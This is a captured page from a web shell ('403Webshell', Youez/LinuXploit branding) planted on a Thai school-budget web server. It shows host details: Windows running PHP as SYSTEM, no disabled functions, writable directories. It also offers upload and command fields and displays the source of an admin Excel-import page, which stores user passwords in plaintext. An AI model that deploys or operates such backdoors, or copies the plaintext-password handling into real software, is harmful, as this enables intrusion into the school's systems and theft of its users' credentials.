403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/school_budget/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/school_budget/admin/import_schools.php
<?php
include '../template/header.php';

// ป้องกันการเข้าถึง
if (!isset($_SESSION['user_id']) || $_SESSION['role'] != 'admin') {
    header("Location: ../login.php");
    exit();
}

$message = '';

if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["school_file"])) {
    
    if (isset($_FILES['school_file']) && $_FILES['school_file']['error'] == UPLOAD_ERR_OK) {
        
        $file_tmp_path = $_FILES['school_file']['tmp_name'];
        $file_ext = strtolower(pathinfo($_FILES['school_file']['name'], PATHINFO_EXTENSION));

        if ($file_ext == 'xlsx' || $file_ext == 'xls') {

            require_once '../libs/PHPExcel/Classes/PHPExcel.php';

            try {
                $objPHPExcel = PHPExcel_IOFactory::load($file_tmp_path);
                $sheet = $objPHPExcel->getSheet(0);
                $highestRow = $sheet->getHighestRow();

                $success_count = 0; $error_count = 0; $error_messages = [];

                mysqli_begin_transaction($conn);

                for ($row = 2; $row <= $highestRow; $row++) { 
                    $school_name = trim($sheet->getCell('A'.$row)->getValue());
                    $username = trim($sheet->getCell('B'.$row)->getValue());
                    $password = trim($sheet->getCell('C'.$row)->getValue());

                    if (empty($school_name) && empty($username)) continue;

                    if (empty($school_name) || empty($username) || empty($password)) {
                        $error_messages[] = "แถวที่ $row: ข้อมูล (ชื่อโรงเรียน, Username, Password) ไม่ครบถ้วน"; $error_count++; continue;
                    }

                    // ตรวจสอบข้อมูลซ้ำ
                    $check_school_res = mysqli_query($conn, "SELECT id FROM schools WHERE school_name = '".mysqli_real_escape_string($conn, $school_name)."'");
                    $check_user_res = mysqli_query($conn, "SELECT id FROM users WHERE username = '".mysqli_real_escape_string($conn, $username)."'");

                    if(mysqli_num_rows($check_school_res) > 0) {
                        $error_messages[] = "แถวที่ $row: ชื่อโรงเรียน '$school_name' มีอยู่ในระบบแล้ว"; $error_count++; continue;
                    }
                    if(mysqli_num_rows($check_user_res) > 0) {
                        $error_messages[] = "แถวที่ $row: Username '$username' มีอยู่ในระบบแล้ว"; $error_count++; continue;
                    }

                    // 1. เพิ่มโรงเรียน
                    $sql_school = "INSERT INTO schools (school_name) VALUES ('".mysqli_real_escape_string($conn, $school_name)."')";
                    if (mysqli_query($conn, $sql_school)) {
                        $school_id = mysqli_insert_id($conn);
                        // 2. เพิ่ม User
                        $sql_user = "INSERT INTO users (username, password, role, school_id) VALUES ('".mysqli_real_escape_string($conn, $username)."', '".mysqli_real_escape_string($conn, $password)."', 'school', $school_id)";
                        if (mysqli_query($conn, $sql_user)) {
                            $success_count++;
                        } else {
                            $error_messages[] = "แถวที่ $row: ไม่สามารถสร้าง User ได้"; $error_count++;
                        }
                    } else {
                        $error_messages[] = "แถวที่ $row: ไม่สามารถสร้างโรงเรียนได้"; $error_count++;
                    }
                }

                if ($error_count == 0) {
                    mysqli_commit($conn);
                    $message = "<div class='alert alert-success'><strong>การนำเข้าเสร็จสิ้น!</strong><br>นำเข้าข้อมูลสำเร็จ: $success_count รายการ</div>";
                } else {
                    mysqli_rollback($conn);
                    $message = "<div class='alert alert-warning'><strong>การนำเข้าไม่สำเร็จ!</strong> พบข้อผิดพลาด $error_count รายการ จึงไม่ได้บันทึกข้อมูลใดๆ</div>";
                    $message .= "<div class='alert alert-danger'><strong>รายละเอียดข้อผิดพลาด:</strong><br><ul>";
                    foreach ($error_messages as $err) $message .= "<li>" . htmlspecialchars($err) . "</li>";
                    $message .= "</ul></div>";
                }

            } catch(Exception $e) {
                mysqli_rollback($conn);
                $message = "<div class='alert alert-danger'>เกิดข้อผิดพลาดในการอ่านไฟล์ Excel: " . $e->getMessage() . "</div>";
            }
        } else {
            $message = "<div class='alert alert-danger'>ข้อผิดพลาด: กรุณาอัปโหลดไฟล์นามสกุล .xlsx หรือ .xls เท่านั้น</div>";
        }
    } else {
        $message = "<div class='alert alert-danger'>ข้อผิดพลาดในการอัปโหลดไฟล์</div>";
    }
}
?>
<div class="container-fluid px-4">
    <h1 class="mt-4">นำเข้าข้อมูลโรงเรียน</h1>
    <ol class="breadcrumb mb-4">
        <li class="breadcrumb-item"><a href="index.php">แดชบอร์ด</a></li>
        <li class="breadcrumb-item"><a href="manage_schools.php">จัดการโรงเรียน</a></li>
        <li class="breadcrumb-item active">นำเข้าข้อมูล</li>
    </ol>
    
    <?php if(!empty($message)) echo $message; ?>

    <div class="card mb-4">
        <div class="card-header"><i class="bi bi-info-circle-fill me-1"></i>ขั้นตอนการนำเข้าข้อมูล</div>
        <div class="card-body">
            <ol>
                <li>ดาวน์โหลดไฟล์แม่แบบ (Template) โดยคลิกที่ปุ่ม <a href="generate_school_template.php" class="btn btn-sm btn-success"><i class="bi bi-file-earmark-excel-fill me-1"></i>ดาวน์โหลด Template</a></li>
                <li>เปิดไฟล์และกรอกข้อมูลให้ครบทั้ง 3 คอลัมน์: `School Name`, `Username`, `Password`</li>
                <li><strong>สำคัญ:</strong> `School Name` และ `Username` ต้องไม่ซ้ำกับข้อมูลที่มีอยู่แล้วในระบบ</li>
                <li>บันทึกไฟล์ Excel และอัปโหลดในฟอร์มด้านล่างนี้</li>
            </ol>
        </div>
    </div>

    <div class="card">
        <div class="card-header"><i class="bi bi-upload me-1"></i>อัปโหลดไฟล์ Excel</div>
        <div class="card-body">
            <form action="import_schools.php" method="post" enctype="multipart/form-data">
                <div class="mb-3">
                    <label for="school_file" class="form-label">เลือกไฟล์ Excel ที่ต้องการนำเข้า:</label>
                    <input class="form-control" type="file" id="school_file" name="school_file" accept=".xlsx, .xls" required>
                </div>
                <button type="submit" class="btn btn-primary"><i class="bi bi-cloud-arrow-up-fill me-1"></i> เริ่มนำเข้าข้อมูล</button>
            </form>
        </div>
    </div>
</div>
<?php include '../template/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit